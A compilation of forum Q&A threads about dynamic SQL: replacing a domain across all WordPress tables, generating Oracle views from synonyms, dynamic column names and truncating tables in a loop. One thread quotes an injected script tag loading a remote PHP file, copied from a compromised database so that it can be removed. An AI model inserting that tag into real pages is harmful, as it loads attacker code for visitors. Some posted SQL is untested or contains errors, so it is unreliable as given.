So i'm a pretty good systems admin and can manage mysql servers with no issue. My problem is in actually coding sql, and more specifically coding sql I feel safe to automate in nightly scripts. Thats where you awesome stack overflow guys come in.
I currently have my production wordpress site sync to my dev server so we have as close to live for testing on before a push to production. Right after I update the mysql to be a copy of production I need to find and replace about 2,000 strings.
All I need to do is find a way to execute SQL to find and replace http://DrunkOnJudgement.com to http://dev.DrunkOnJudgement.com any place in any table.
Help me Obi wan Kenobis your my only hope.
You want to do something like this
update table_name
set column_name = replace(column_name, 'http://dev.DrunkOnJudgement.com', 'http://DrunkOnJudgement.com');
this will ensure that you simply replace the text you are looking for in a specific column with the text you want it to be without changing any text around it.
so for example you could just shorten it to something like: replace(column_name, 'dev.DrunkOnJudgment.com', 'DrunkOnJudgment.com')
You can also specify a where clause so that you only replace items that contain that text so something like this:
where column_name like '%dev.DrunkOnJudgement.com%'
Ok to do something like this for all columns in all tables, basically search the entire db. You can use a statement like this:
SELECT Concat('UPDATE ', TABLE_NAME, ' SET ', COLUMN_NAME, ' = REPLACE(', COLUMN_NAME, ',''dev.DrunkOnJudgment.com'',''DrunkOnJudgment.com'')', ' WHERE ', COLUMN_NAME, ' like ''%dev.DrunkOnJudgment.com%''' ) FROM INFORMATION_SCHEMA.COLUMNS
it will output a sql statement like the one above for each column and table in the database and because you are using a replace statement if it does not find the text it does not replace anything it also ensure you only update records that actually contain that text.
So to automate this you would use a cursor, I have not tested the following code but it would look something like this:
DECLARE done BOOLEAN DEFAULT 0;
DECLARE sql VARCHAR(2000);
DECLARE cmds CURSOR
FOR
SELECT Concat('UPDATE ', TABLE_NAME, ' SET ', COLUMN_NAME, ' = REPLACE(', COLUMN_NAME, ',''dev.DrunkOnJudgment.com'',''DrunkOnJudgment.com'')', ' WHERE ', COLUMN_NAME, ' like ''%dev.DrunkOnJudgment.com%''' ) FROM INFORMATION_SCHEMA.COLUMN;
DECLARE CONTINUE HANDLER FOR SQLSTATE '02000' SET done=1;
OPEN cmds;
REPEAT
FETCH cmds INTO sql;
PREPARE stmt FROM sql;
EXECUTE stmt;
DROP PREPARE stmt;
UNTIL done END REPEAT;
CLOSE cmds;
Is this as simple as an update statement with a where clause?
update myTable
set myCol = 'http://dev.DrunkOnJudgement.com'
where myCol = 'http://DrunkOnJudgement.com'
At this point in your product's life cycle I guess it is too late to suggest working out a solution that takes away this issue entirely?
For example, not using absolute URLs, or replacing the urls with some variable that is evaluated at runtime?
Related
I'am an SQL rookie and just started my Apprenticeship in the CMD Team of my Company.
It's my first time working with Oracle SQL-dev and I never coded Functions/Procedures in SQL before
So my Sensei gave me a task to solve for myself which is:
To create a stored procedure which generates views for all of my Synonyms in the current Scheme. If executed again it should Replace the current views of those Synonyms.
As second part of the task I should also add a function to DROP all the views i don't have a Synonym for
Yes I already discussed with her if it is useful to create views this way or not
The first thing i found out that it is not possible to create views from a stored procedure the traditional way and that i have to use a workaround method with EXEC() for example
my Sensei gave me a code Snippet to begin with:
FOR KO IN(SELECT * FROM all_synonyms WHERE OWNER = 'CMD_SANDBOX')
She told me i have to fill Variables with the Names of the Synonyms .. so far so good
it makes sense because i have to generate unique names for the views as well as the procedure to know which is the current synonym to create a view of
CREATE OR REPLACE PROCEDURE CREATE_VIEWS AS
DECLARE #viewCommand varchar(1000)
DECLARE #viewName varchar(75)
DECLARE #synonymName varchar(75)
SET #viewCommand = 'CREATE OR REPLACE VIEW' + #viewName + 'AS SELECT * FROM '
+#synonymName
BEGIN
FOR KO IN(SELECT * FROM all_synonyms WHERE OWNER = 'CMD_SANDBOX')
SET #synonymName = <Pointer on Synonym>
SET #viewName = 'v_' + #synonymName
EXEC(#viewCommand)
END LOOP KO;
END CREATE_VIEWS
Long story short...
My questions are:
How do I Point to a Certain Object without using its specific name to fill my #synonymName ?
Is the For Loop header already complete ? I kinda don't get how it works in SQL
How do you pros research this stuff? I feel pretty confident in queries but as it comes to specific things like pointing to objects or similar it is pretty hard to find out.
Your syntax is invalid in Oracle as:
there are multiple DECLAREs but only a single BEGIN/END block;
# is not valid in (unquoted) variable names;
+ is the numeric addition operator and does not concatenate strings. To concatenate strings you want to use the || operator;
assignment in PL/SQL does not require SET and requires := instead of =; and
you want EXECUTE IMMEDIATE and not EXEC.
If you fix all that then there are still issues as VIEW' + #viewName + 'AS should have spaces between the VIEW and AS keywords and the identifier.
The syntax looks more like SQL Server than Oracle.
For Oracle, you want:
CREATE OR REPLACE PROCEDURE CREATE_VIEWS
AS
BEGIN
FOR KO IN(
SELECT synonym_name
FROM all_synonyms
WHERE OWNER = 'CMD_SANDBOX'
)
LOOP
EXECUTE IMMEDIATE 'CREATE OR REPLACE VIEW v_' || ko.synonym_name
|| ' AS SELECT * FROM ' || ko.synonym_name;
END LOOP;
END CREATE_VIEWS;
/
I have this sql query to try and remove some sql injection script from my database. When i execute this it runs fine and tells me that all rows have been affected, but I don't see any changes. I have checked the table names and the column names, I have changed the varchar value to the value the columns are set to but still nothing.
I have copied the injected script directly from the database
UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')
Could someone please explain why the script runs fine but no updates are done on the database.
The REPLACE function is probably not finding the string you're searching for.
Try doing a select to see if you get any rows:
select
column_name
from
table_name
where
CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'
(I obfuscated to the URL incase its malicious).
I have a SQL query where I want to specify the names of the columns dynamically.
Let's say I have a table called TABLE_A, and it has a column by name ID. I was wondering if I could do something like:
SELECT (SELECT 'ID'
FROM DUAL)
FROM TABLE_A
Obviously this is not possible. Is there a better way to this?
SQL does not support dynamic column or table names -- you need to use dynamic SQL to get the functionality you want. Dynamic SQL means constructing a string, concatenating as necessary, before submitting the string (containing the query) to the database for interpretation.
Dynamic SQL is supported by most databases, but the syntax is often very different. Oracle provides:
EXECUTE IMMEDIATE
using an implicit cursor
This link provides examples of both.
Lest we forget Little Bobby Tables, dynamic SQL is an increased risk of SQL injection attacks...
You could use dynamic SQL if you are in a PL/SQL environment.
Build your SQL string as a VARCHAR2 before executing it.
DECLARE
v_sql VARCHAR2(4001);
v_column VARCHAR2(30) := 'whatever';
v_sql_result VARCHAR2(4001);
BEGIN
v_sql := 'SELECT '||v_column||' FROM table_a';
EXECUTE IMMEDIATE v_sql
INTO v_sql_result;
EXCEPTION
WHEN ...
THEN
...
END;
This will select the contents of column "whatever" into the v_sql_result.
Of course I ommitted the WHERE clause to ensure only one row was returned for this example but you can add that yourself or lookup how EXECUTE IMMEDIATE works in Oracle.
If you want a dynamic list of columns, you might be better off using dynamic sql. I try to avoid it whenever I can, but this is a prime example of when to use it.
example:
DECLARE #sqlQuery varchar(300)
SET #sqlQuery = 'select '
------ logic loop happens -----
SET #sqlQuery = #sqlQuery + 'columnname, '
------ end loop ------
SET #sqlQuery = #sqlQuery + ' from TABLE_A where '
exec(#sqlQuery)
It's at least a place to start for you.
I am using SQL Server 2005. I am having a peculiar need now.
I am having a Database and it in turn have several table(>50). All of these table have a similar named column with a condition. I want to query this column across all the tables in the DB.
I am not finding a proper solution in Googling. Please help me.
Thanks a lot in Advance :)
Maybe this can help you?
SELECT * FROM information_schema.tables
Afterwards, you can loop through all tables and query your column.
Using Kevin's suggestion you do something like this, then execute it's output.
DECLARE #ColumnName AS VARCHAR(20)
SET #ColumnName = 'MyColumn'
SELECT 'SELECT ' + #ColumnName + ' FROM ' + TABLE_NAME FROM information_schema.tables
sp_msforeachtable #command1=N'SELECT ''?'', * from ? WHERE yourcol=''whatever'''
Above will run query against every table in selected database, and print tablename + every column in the table for conditions met. If it reaches a table that has an invalid column, it'll just keep going (but print an error message).
I'm debating whether or not to try running through a list of tables and truncating them with a stored procedure. Would it be that easy with MySql and how would I do it?
The main piece of info you need is the list of tables. Most platforms support this:
select table_name from information_schema.tables
However, before you code the sproc, do a select * from information_schema.tables and examine the entries, there may be some you do not expect -- system tables and such, so you may need to craft a filter to get the set you want.
Since I don't do mySQL that much, I can't show you the code, but if you can translate this from MS SQL, and fill in some blanks you can make it work:
declare #table_name varchar(200)
while 1=1 begin
select top 1 #table_name = table_name
from information_schema.tables
where ....possible filter...
if #table_name is null break
-- for this line you may need dynamic sql
truncate table #table_name
end